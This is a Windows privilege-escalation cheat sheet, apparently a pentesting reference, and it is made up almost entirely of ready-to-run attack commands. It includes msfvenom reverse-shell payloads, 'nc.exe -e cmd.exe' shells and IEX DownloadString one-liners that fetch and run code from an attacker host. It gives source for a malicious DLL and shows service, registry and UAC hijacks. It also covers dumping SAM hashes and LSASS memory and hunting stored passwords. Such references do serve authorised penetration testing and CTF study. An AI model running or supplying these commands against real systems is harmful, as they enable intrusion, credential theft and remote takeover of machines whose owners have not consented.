Windows privesc reference. The methodology is different from Linux — services, tokens, and misconfigurations are your bread and butter. Run the enumeration, find the vector, execute.
Initial Enumeration
System Info
:: Basic info
whoami
whoami /priv
whoami /groups
hostname
systeminfo
:: OS and architecture
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
:: Hotfixes — missing patches = potential kernel exploits
wmic qfe list brief
systeminfo | findstr /B /C:"KB"
:: Network
ipconfig /all
route print
netstat -ano
arp -a
# PowerShell equivalents
[System.Environment]::OSVersion
Get-HotFix
Get-NetTCPConnection | Where-Object {$_.State -eq 'Listen'}
Users and Groups
net user
net user Administrator
net localgroup
net localgroup Administrators
Tip: whoami /priv is the sudo -l of Windows. Check it immediately.
Antivirus / Firewall
:: Check Windows Defender
sc query WinDefend
:: Firewall
netsh advfirewall show allprofiles
netsh firewall show state
:: Check if AMSI is active (PowerShell)
Get-MpComputerStatus
Get-MpPreference | Select-Object -Property ExclusionPath
Automated Enumeration
WinPEAS
:: Transfer and run
certutil -urlcache -f http://%ATTACKER%:8000/winPEASx64.exe winpeas.exe
.\winpeas.exe
:: Or run from memory (PowerShell)
IEX(New-Object Net.WebClient).DownloadString('http://%ATTACKER%:8000/winPEAS.bat')
PowerUp
. .\PowerUp.ps1
Invoke-AllChecks
# Or one-liner
IEX(New-Object Net.WebClient).DownloadString('http://$ATTACKER:8000/PowerUp.ps1'); Invoke-AllChecks
Seatbelt
.\Seatbelt.exe -group=all
SharpUp
.\SharpUp.exe audit
Service Misconfigurations
Is the single biggest category for Windows privesc. Three main flavors.
Unquoted Service Paths
If the service path has spaces and isn’t quoted, Windows tries intermediate paths.
C:\Program Files\My Service\service.exe tries:
C:\Program.exeC:\Program Files\My.exeC:\Program Files\My Service\service.exe
:: Find unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
:: PowerShell
Get-WmiObject win32_service | Where-Object {$_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | Select-Object Name, PathName, StartMode
:: Check if you can write to an intermediate directory
icacls "C:\Program Files\My Service"
:: Drop your payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER LPORT=9001 -f exe -o My.exe
copy My.exe "C:\Program Files\My.exe"
:: Restart the service (need permissions or wait for reboot)
sc stop "ServiceName"
sc start "ServiceName"
Weak Service Permissions
You can modify the service configuration → point it to your binary.
:: Check service permissions with accesschk
accesschk64.exe /accepteula -uwcqv "Everyone" *
accesschk64.exe /accepteula -uwcqv "Users" *
accesschk64.exe /accepteula -uwcqv "Authenticated Users" *
accesschk64.exe /accepteula -uwcqv %USERNAME% *
:: Check specific service
sc qc "ServiceName"
accesschk64.exe /accepteula -ucqv "ServiceName"
If you have SERVICE_CHANGE_CONFIG:
:: Change binpath to your payload
sc config "ServiceName" binpath= "C:\Users\Public\shell.exe"
sc stop "ServiceName"
sc start "ServiceName"
:: Or add yourself as admin
sc config "ServiceName" binpath= "net localgroup Administrators %USERNAME% /add"
sc stop "ServiceName"
sc start "ServiceName"
Weak Service Binary Permissions
The service binary itself is writable.
:: Check permissions on service binary
icacls "C:\path\to\service.exe"
Look for (F) Full control, (M) Modify, or (W) Write for your user/group.
:: Replace the binary
move "C:\path\to\service.exe" "C:\path\to\service.exe.bak"
copy C:\Users\Public\shell.exe "C:\path\to\service.exe"
sc stop "ServiceName"
sc start "ServiceName"
Service Registry Permissions
:: Check registry permissions for services
Get-Acl HKLM:\SYSTEM\CurrentControlSet\Services\ServiceName | Format-List
:: If writable, change ImagePath
reg add HKLM\SYSTEM\CurrentControlSet\Services\ServiceName /v ImagePath /t REG_EXPAND_SZ /d "C:\Users\Public\shell.exe" /f
DLL Hijacking
Application loads a DLL from a writable location, or the DLL is missing entirely.
Finding DLL Hijacking Opportunities
:: Use Process Monitor (if you have GUI access)
:: Filter: Result = "NAME NOT FOUND" and Path ends with ".dll"
:: Or check PATH directories for write access
echo %PATH%
:: Check each directory with icacls
icacls "C:\path\in\PATH"
Exploitation
// malicious.c — generates reverse shell or adds admin
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason, LPVOID lpReserved) {
if (ul_reason == DLL_PROCESS_ATTACH) {
system("net localgroup Administrators youruser /add");
// Or: system("C:\\Users\\Public\\nc.exe -e cmd.exe ATTACKER 9001");
}
return TRUE;
}
# Cross-compile on Kali
x86_64-w64-mingw32-gcc malicious.c -shared -o malicious.dll
:: Place DLL in the expected location
copy malicious.dll "C:\path\to\expected\missing.dll"
:: Restart the service or wait for it
Gotcha: When hijacking a DLL for a service, the DLL must export the functions the service expects, or the service crashes on start. For a simple missing-DLL hijack this usually isn’t an issue.
Token Impersonation / Potato Attacks
If whoami /priv shows SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege — you’re in business. Common on IIS, MSSQL, and service accounts.
Which Potato to Use
| Tool | Works On | Notes |
|---|---|---|
| GodPotato | Windows 2012 - 2022, Win 8 - 11 | Best all-rounder, try first |
| PrintSpoofer | Windows 10 / Server 2016-2019 | Needs Print Spooler running |
| SweetPotato | Various | Combines multiple techniques |
| JuicyPotatoNG | Windows 10 / Server 2019 | Updated JuicyPotato |
| RoguePotato | Windows 10 / Server 2019 | Needs controlled port 135 |
| JuicyPotato | Windows 7-10 / Server 2008-2016 | Classic, doesn’t work on 2019+ |
:: GodPotato (try this first)
.\GodPotato.exe -cmd "C:\Users\Public\nc.exe -e cmd.exe $ATTACKER 9001"
.\GodPotato.exe -cmd "net localgroup Administrators $USERNAME /add"
:: PrintSpoofer
.\PrintSpoofer64.exe -c "C:\Users\Public\nc.exe -e cmd.exe $ATTACKER 9001"
.\PrintSpoofer64.exe -i -c cmd
:: SweetPotato
.\SweetPotato.exe -e EfsRpc -p C:\Users\Public\nc.exe -a "-e cmd.exe $ATTACKER 9001"
:: JuicyPotato (older systems)
.\JuicyPotato.exe -l 1337 -p C:\Users\Public\shell.exe -t * -c {CLSID}
Tip: GodPotato is the current go-to. Works on recent Windows versions and doesn’t need a specific CLSID.
AlwaysInstallElevated
If both of these registry keys are set to 1, any user can install MSI packages as SYSTEM.
:: Check
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# PowerShell check
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated
Get-ItemProperty -Path 'HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated
Exploitation
# Generate malicious MSI on attacker
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER LPORT=9001 -f msi -o shell.msi
:: Install on target
msiexec /quiet /qn /i C:\Users\Public\shell.msi
Credential Hunting
Registry
:: Saved credentials
cmdkey /list
:: If saved creds exist for admin
runas /savecred /user:Administrator cmd.exe
:: Autologon credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
:: VNC passwords
reg query "HKCU\Software\ORL\WinVNC3\Password"
:: PuTTY stored sessions
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
:: SNMP community strings
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities"
:: Search registry for passwords
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
Files
:: Common password files
dir /s /b C:\Users\*.txt 2>nul | findstr /i "pass"
dir /s /b C:\Users\*.xml 2>nul
dir /s /b C:\Users\*.ini 2>nul
dir /s /b C:\Users\*.config 2>nul
:: Unattend / sysprep files (often contain passwords)
dir /s /b C:\unattend.xml C:\sysprep.xml C:\sysprep.inf C:\Unattended.xml 2>nul
type C:\Windows\Panther\Unattend.xml 2>nul
type C:\Windows\Panther\unattend\Unattend.xml 2>nul
type C:\Windows\system32\sysprep\sysprep.xml 2>nul
:: IIS config
type C:\inetpub\wwwroot\web.config 2>nul
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config 2>nul
:: PowerShell history
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# PowerShell history for all users
Get-ChildItem C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt 2>$null | ForEach-Object { Write-Host "`n=== $($_.FullName) ==="; Get-Content $_ }
SAM and SYSTEM Backup
:: If you can access these, dump hashes offline
reg save HKLM\SAM C:\Users\Public\sam.bak
reg save HKLM\SYSTEM C:\Users\Public\system.bak
:: Or check for backup copies
dir /s /b C:\Windows\repair\SAM 2>nul
dir /s /b C:\Windows\System32\config\RegBack\SAM 2>nul
# On attacker — extract hashes
secretsdump.py -sam sam.bak -system system.bak LOCAL
DPAPI
:: List DPAPI credential blobs
dir /a C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
:: Mimikatz to decrypt
dpapi::cred /in:C:\Users\user\AppData\...\credential_blob
Scheduled Tasks
:: List all scheduled tasks
schtasks /query /fo LIST /v
:: Look for tasks running as SYSTEM with writable binaries
schtasks /query /fo LIST /v | findstr /i "task to run\|run as user"
:: Check permissions on the task's binary
icacls "C:\path\to\task\binary.exe"
Get-ScheduledTask | Where-Object {$_.Principal.UserId -eq 'SYSTEM'} | ForEach-Object { $_.Actions }
If the binary is writable or the path is hijackable, replace it and wait for execution.
Installed Software
:: 32-bit
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s | findstr /i "displayname"
:: 64-bit
reg query "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" /s | findstr /i "displayname"
:: Or just look
dir "C:\Program Files"
dir "C:\Program Files (x86)"
Cross-reference versions with searchsploit and Google. Outdated software with local privilege escalation vulns is common.
searchsploit "software name"
Kernel Exploits
systeminfo
wmic qfe list brief
# On attacker — use Windows Exploit Suggester
python3 windows-exploit-suggester.py --database 2026-03-24-mssb.xls --systeminfo sysinfo.txt
# Or wesng
python3 wes.py sysinfo.txt
Notable Windows Kernel / System Exploits
| CVE | Name | Affected |
|---|---|---|
| MS16-032 | Secondary Logon | Windows 7-10, Server 2008-2012 |
| CVE-2020-0787 | BitsArbitraryFileMoveExploit | Windows 10 |
| CVE-2020-1472 | Zerologon | Domain Controllers |
| CVE-2021-1675 | PrintNightmare | All Windows with Print Spooler |
| CVE-2021-36934 | HiveNightmare/SeriousSAM | Windows 10 builds 1809-21H1 |
| CVE-2022-21999 | SpoolFool | Windows 10/11, Server 2019/2022 |
:: PrintNightmare (local privesc variant)
:: Check if Print Spooler is running
sc query spooler
:: HiveNightmare — check if SAM shadow copies are readable
icacls C:\Windows\System32\config\SAM
:: If "BUILTIN\Users:(I)(RX)" → vulnerable
:: Exploit:
.\HiveNightmare.exe
UAC Bypass
When you’re in the Administrators group but running medium integrity.
:: Check integrity level
whoami /groups | findstr "Mandatory"
:: If Medium Mandatory Level — UAC is blocking you
# Common UAC bypass — fodhelper
New-Item "HKCU:\Software\Classes\ms-settings\shell\open\command" -Force
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "(Default)" -Value "cmd /c C:\Users\Public\shell.exe" -Force
New-ItemProperty "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"
# Cleanup
Remove-Item "HKCU:\Software\Classes\ms-settings\shell\open\command" -Recurse -Force
:: eventvwr bypass
reg add HKCU\Software\Classes\mscfile\shell\open\command /d "cmd /c C:\Users\Public\shell.exe" /f
eventvwr.msc
Sensitive Privilege Abuse
From whoami /priv:
| Privilege | Abuse |
|---|---|
| SeImpersonatePrivilege | Potato attacks (see above) |
| SeAssignPrimaryTokenPrivilege | Potato attacks |
| SeBackupPrivilege | Copy any file (SAM, NTDS.dit) |
| SeRestorePrivilege | Write any file → DLL hijack |
| SeTakeOwnershipPrivilege | Take ownership of files/registry keys |
| SeDebugPrivilege | Inject into/dump any process (LSASS) |
| SeLoadDriverPrivilege | Load kernel driver → kernel code exec |
| SeManageVolumePrivilege | Read any file via volume shadow copy |
SeBackupPrivilege
:: Copy SAM and SYSTEM
reg save HKLM\SAM C:\temp\sam
reg save HKLM\SYSTEM C:\temp\system
:: Or use robocopy with backup semantics
robocopy /b C:\Users\Administrator\Desktop C:\temp\ secret.txt
SeDebugPrivilege
:: Dump LSASS
.\procdump64.exe -accepteula -ma lsass.exe lsass.dmp
:: Or use Mimikatz
privilege::debug
sekurlsa::logonpasswords
SeManageVolumePrivilege
:: Create shadow copy
vssadmin create shadow /for=C:
:: Copy files from shadow copy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\
Port Forwarding from Windows
Internal services you can’t reach from your attacker box.
:: netsh (built-in, no tools needed)
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8888 connectaddress=127.0.0.1 connectport=8080
:: Chisel
:: Attacker: chisel server --reverse --port 8001
.\chisel.exe client ATTACKER:8001 R:8080:127.0.0.1:8080
:: plink (PuTTY command-line)
plink.exe -ssh -l user -pw password -R 8080:127.0.0.1:8080 ATTACKER
File Transfers to Windows
:: certutil
certutil -urlcache -f http://%ATTACKER%:8000/file.exe file.exe
:: PowerShell
powershell -c "(New-Object Net.WebClient).DownloadFile('http://$ATTACKER:8000/file.exe','C:\Users\Public\file.exe')"
powershell -c "Invoke-WebRequest -Uri 'http://$ATTACKER:8000/file.exe' -OutFile 'C:\Users\Public\file.exe'"
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://$ATTACKER:8000/script.ps1')"
:: SMB (easiest for large files)
:: Attacker: impacket-smbserver share . -smb2support -username user -password pass
net use \\$ATTACKER\share /user:user pass
copy \\$ATTACKER\share\file.exe C:\Users\Public\
:: Bitsadmin
bitsadmin /transfer job /download /priority high http://$ATTACKER:8000/file.exe C:\Users\Public\file.exe
Gotcha: certutil gets flagged by Defender now. PowerShell Invoke-WebRequest (iwr) is usually fine. SMB transfer is the most reliable for large files.
Quick Wins Checklist
whoami /priv— SeImpersonate = potato = SYSTEM- Unquoted service paths with writable intermediate directories
- Weak service permissions — change binpath
- AlwaysInstallElevated — msi = SYSTEM
- Saved credentials —
cmdkey /list→runas /savecred - Autologon passwords in registry
- Unattend.xml / sysprep files — plaintext or base64 passwords
- PowerShell history — people type passwords in PowerShell
- Scheduled tasks with writable binaries
- Installed software with known local privesc CVEs
- PrintNightmare — if Print Spooler is running
- SAM/SYSTEM backups — HiveNightmare on Win10